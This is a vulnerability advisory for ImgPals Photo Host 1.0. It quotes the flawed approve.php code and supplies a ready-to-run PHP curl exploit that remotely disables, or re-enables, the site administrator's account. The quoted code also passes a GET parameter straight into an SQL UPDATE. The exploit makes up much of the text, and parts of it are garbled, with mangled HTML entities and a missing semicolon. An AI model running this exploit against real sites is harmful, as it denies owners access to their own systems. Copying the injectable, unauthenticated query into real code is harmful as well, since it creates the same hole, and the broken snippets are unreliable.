ImgPals Photo Host Version 1.0 Admin Account Disactivation

-=[--------------------ADVISORY-------------------]=-

ImgPals Photo Host Version 1.0 STABLE

Author: Corrado Liotta Aka CorryL [[email protected]]
-=[-----------------------------------------------]=-

-=[+] Application: ImgPals Photo Host
-=[+] Version: 1.0 STABLE
-=[+] Vendor's URL: http://www.imgpals.com/forum/
-=[+] Platform: Windows\Linux\Unix
-=[+] Bug type: Admin Account Disactivation
-=[+] Exploitation: Remote
-=[-]
-=[+] Author: Corrado Liotta Aka CorryL ~ corryl80[at]gmail[dot]com ~
-=[+] Facebook: https://www.facebook.com/CorryL
-=[+] Twitter: https://twitter.com/#!/CorradoLiotta
-=[+] Linkedin: http://it.linkedin.com/pub/corrado-liotta/21/1a8/611

…::[ Descriprion ]::…

I released the ImgPals Photo Host Version 1.0 STABLE

Features Include:

* Easy Install
* Full README file included
* Full Control Panel to control your site
* User Side Features
      o Multiple JQuery Uploads
      o Create and Edit Photo Albums
      o Make Albums Public or Private
      o Describe Albums and Photos
      o Move, Delete, Rename, Rotate, Rate, Comment, and Tag Photos
      o Add Friends
      o Chat with Friends
      o Update people with status wall posting
      o Manage Profile
      o Profile Avatar Uploads
      o Private Messaging
* And much more, be sure to check out the Demo

…::[ Bug ]::…

A attaker can remotely disable the account from administratore not
allowing the same to be able to access the site

…::[ Proof Of Concept ]::…

if ($_GET['a'] == 'app0'){
$sqlapprove = mysql_query("UPDATE members SET
approved = '0' WHERE id = '".$_GET['u']."'");

by sending the command approve.php? u = a = 1 & app0 a attaker can
disable the Administrator account.

…::[ Exploit ]::…

#!/usr/bin/php -f
<?php

//Coded by Corrado Liotta For educational purpose only
//use php exploit.php server app0 or app1
//use app0 for admin account off
//use app1 for admin account on

$target = $argv[1];
$power = $argv[2]

$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_URL, "http://$target/approve.php?u=1&amp;a=$power&quot;&#41;;
curl_setopt($ch, CURLOPT_HTTPGET, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE
5.01; Windows NT 5.0)");
curl_setopt($ch, CURLOPT_TIMEOUT, 3);
curl_setopt($ch, CURLOPT_LOW_SPEED_LIMIT, 3);
curl_setopt($ch, CURLOPT_LOW_SPEED_TIME, 3);
curl_setopt($ch, CURLOPT_COOKIEJAR, "/tmp/cookie_$target");
$buf = curl_exec ($ch);
curl_close($ch);
unset($ch);

echo $buf;
?>